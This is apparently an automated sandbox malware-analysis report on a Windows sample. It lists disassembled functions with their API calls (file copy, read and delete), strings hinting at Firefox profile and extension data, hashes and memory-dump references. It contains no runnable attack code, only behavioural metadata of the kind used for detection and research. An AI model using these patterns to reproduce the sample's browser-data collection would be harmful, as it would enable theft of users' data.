Part of subcall function 001AEC95: std::exception::exception.LIBCMT ref: 001AECD0

Strings

invalid string position, xrefs: 0018F25D
string too long, xrefs: 0018F252

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: 4adb2d02b3ae3adf22c3253d8216d79d6ea51e6df87e1860d2719cb863d3b16d
Instruction ID: b66cd6122de4eeea9b451dd909569ea20da11bce9821ebad8239f2c0fb3b89fc
Opcode Fuzzy Hash: 4adb2d02b3ae3adf22c3253d8216d79d6ea51e6df87e1860d2719cb863d3b16d
Instruction Fuzzy Hash: FBD012B590020C7BCB04E799D8069DDBAE99F55711F100169F605D3645EBB067004565

Function 00191D36 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,001922D6,?), ref: 00191D41
HeapAlloc.KERNEL32(00000000), ref: 00191D48
wsprintfW.USER32 ref: 00191D59

Strings

%hs, xrefs: 00191D53

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 32010abb20970528cf78c92a0c0a87196f52a1d42b7284e17ecd4ac4ac321324
Instruction ID: 9e0bc5ea69c52794822b6c3be33a87b06bee783ebd4d359328103772d205125a
Opcode Fuzzy Hash: 32010abb20970528cf78c92a0c0a87196f52a1d42b7284e17ecd4ac4ac321324
Instruction Fuzzy Hash: 27D05E3234431477C61127D4AC0DB9A3B18DB096E2F000120FA0D95690DB65449447D5

Function 001813F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00181402
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0018140D
ReleaseDC.USER32(00000000,00000000), ref: 00181416

Strings

DISPLAY, xrefs: 001813FD

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: DISPLAY
API String ID: 1843228801-865373369
Opcode ID: 89af4188b52c2dac8b5b6b493c584c14fefa571eb07e5c5ad77b1bd42511a4c2
Instruction ID: 48f3a2fc5024b239d427aa81570549c51b2910955093c0adc9d921189b71ce2c
Opcode Fuzzy Hash: 89af4188b52c2dac8b5b6b493c584c14fefa571eb07e5c5ad77b1bd42511a4c2
Instruction Fuzzy Hash: 34D012353C430477E1712762BC0EF5B2924D7C9F42F200104F302695D047B014829636

Function 0018AFF6 Relevance: 6.2, APIs: 4, Instructions: 222filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

CopyFileA.KERNEL32(?,?,00000001), ref: 0018B09B
lstrlenA.KERNEL32(?), ref: 0018B251
lstrlenA.KERNEL32(?), ref: 0018B26C
DeleteFileA.KERNEL32(?), ref: 0018B2BE

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2c7e6be51f161c674b44ca3c6a66302450a20266393f642e04d6fab2b37948e7
Instruction ID: f35b51552af13006a05e96d6c572f72530c2f7a47290ea4fadf2b59124ef91d4
Opcode Fuzzy Hash: 2c7e6be51f161c674b44ca3c6a66302450a20266393f642e04d6fab2b37948e7
Instruction Fuzzy Hash: FB819032D001299BDF02FBA4ED469DDBBB5EF29305F624061F910B7162DB70AE468F91

Function 0018B307 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

CopyFileA.KERNEL32(?,?,00000001), ref: 0018B3AC
lstrlenA.KERNEL32(?), ref: 0018B4FE
lstrlenA.KERNEL32(?), ref: 0018B519
DeleteFileA.KERNEL32(?), ref: 0018B56B

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9a0fe08f66a14cc0214fd0c0d101a1b873afcdfd3a65f5a4b11e5b11d0ab126d
Instruction ID: 4a1e7e2a21dabfae4e864b8405c0c879ea3a310affe5db26412c302ea927a130
Opcode Fuzzy Hash: 9a0fe08f66a14cc0214fd0c0d101a1b873afcdfd3a65f5a4b11e5b11d0ab126d
Instruction Fuzzy Hash: 38719232D00129ABDF02FBA4ED469DDBBB4EF29305F524061F911B7162DB70AE468F91

Function 001A5191 Relevance: 6.1, APIs: 4, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 001A51C4
_siglookup.LIBCMT ref: 001A51EB
DecodePointer.KERNEL32(00000000), ref: 001A5243
__lock.LIBCMT ref: 001A526A

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: DecodePointer__getptd_noexit__lock_siglookup
String ID:
API String ID: 2847133137-0
Opcode ID: d9d107a9aae9cb29647081166cb7b48929691d3f860bf324fd3e064544e134be
Instruction ID: ea4042240f7a1a14c3dacf254f242499f5566a04d5aeaa8b70cf629bc72fa638
Opcode Fuzzy Hash: d9d107a9aae9cb29647081166cb7b48929691d3f860bf324fd3e064544e134be
Instruction Fuzzy Hash: 4A419F79D08B05DBCF28DFB8D9846ACB7B2FB67351B25452BE802AB651C7749C40CB60

Function 0018D3E3 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00187FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
Part of subcall function 00187FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
Part of subcall function 00187FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
Part of subcall function 00187FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
Part of subcall function 00187FAC: CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

Part of subcall function 00191DF4: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00196973,?), ref: 00191E0C

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

StrStrA.SHLWAPI(00000000,?,001B7530,001B687B), ref: 0018D474
lstrlenA.KERNEL32(?), ref: 0018D487

Strings

moz-extension+++, xrefs: 0018D4B2
^userContextId=4294967295, xrefs: 0018D4AC

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: ddb1d0bd5f24b395d08338e3263041cbbdab5f45af08db61dda0832cc302f837
Instruction ID: 68dbd204aab46bfa6cb4021f534d4931b713d20e5bc1948f7f9e2d9dd6938cb7
Opcode Fuzzy Hash: ddb1d0bd5f24b395d08338e3263041cbbdab5f45af08db61dda0832cc302f837
Instruction Fuzzy Hash: F44195369005299FCF12FFA8ED429DD77B4AF28304F524061F944B7252DB34AE4A8F91

Function 0019BDC5 Relevance: 6.1, APIs: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0019BE0A
_memmove.LIBCMT ref: 0019BE1E
_memmove.LIBCMT ref: 0019BE6B
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,00000001,?,?,0019AEB0,?,00000001,?,?,?), ref: 0019BE8A

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
